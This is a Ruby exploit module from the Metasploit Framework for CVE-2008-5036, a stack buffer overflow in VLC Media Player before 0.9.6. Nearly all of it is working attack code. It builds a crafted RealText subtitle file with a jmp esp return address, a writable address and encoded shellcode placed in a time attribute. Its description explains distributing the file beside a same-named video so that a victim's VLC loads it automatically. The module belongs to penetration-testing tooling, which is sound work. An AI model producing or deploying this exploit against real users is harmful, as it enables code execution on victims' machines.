101 lines
3.1 KiB
Ruby
101 lines
3.1 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VLC Media Player RealText Subtitle Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow vulnerability in
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VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
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RealText subtitle files.
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This module generates a specially crafted RealText subtitle file.
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VLC handles subtitles automatically. It just checks the presence
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of a subtitle file with the same name of the loaded video. If such
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a subtitle file is found, VLC loads and parses the file.
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So to exploit the vulnerability the .rt file should be distributed
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with a video file (.avi as sample) with the same file name. The
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victim my open the video with the vulnerable VLC Media Player.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tobias Klein', # Vulnerability Discovery
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'SkD', # Exploit
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'juan vazquez' # Metasploit Module
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],
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'Version' => '$Revision: $',
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'References' =>
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[
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[ 'OSVDB', '49809' ],
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[ 'CVE', '2008-5036' ],
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[ 'BID', '32125' ],
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[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
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[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
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],
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'Payload' =>
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{
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'Space' => 1900,
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'DisableNops' => true,
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'BadChars' => "\x00\x22\x0a",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
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{
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'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
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'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 05 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']),
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], self.class)
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end
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def exploit
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my_payload = ""
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my_payload << Rex::Text.rand_text(72, payload_badchars)
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my_payload << [target.ret].pack("V") # EIP => jmp esp
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my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
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my_payload << Rex::Text.rand_text(2, payload_badchars)
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my_payload << [target['WritableAddress']].pack("V") # Writable address
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my_payload << payload.encoded
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rt_file = <<-eos
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<window height="250" width="300" duration="15" bgcolor="yellow">
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Mary had a little lamb,
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<br/><time begin="#{my_payload}"/>
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<br/><time begin="6"/>little lamb,
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<br/><time begin="9"/>Mary had a little lamb
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<br/><time begin="12"/>whose fleece was white as snow.
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</window>
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eos
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(rt_file)
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end
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end
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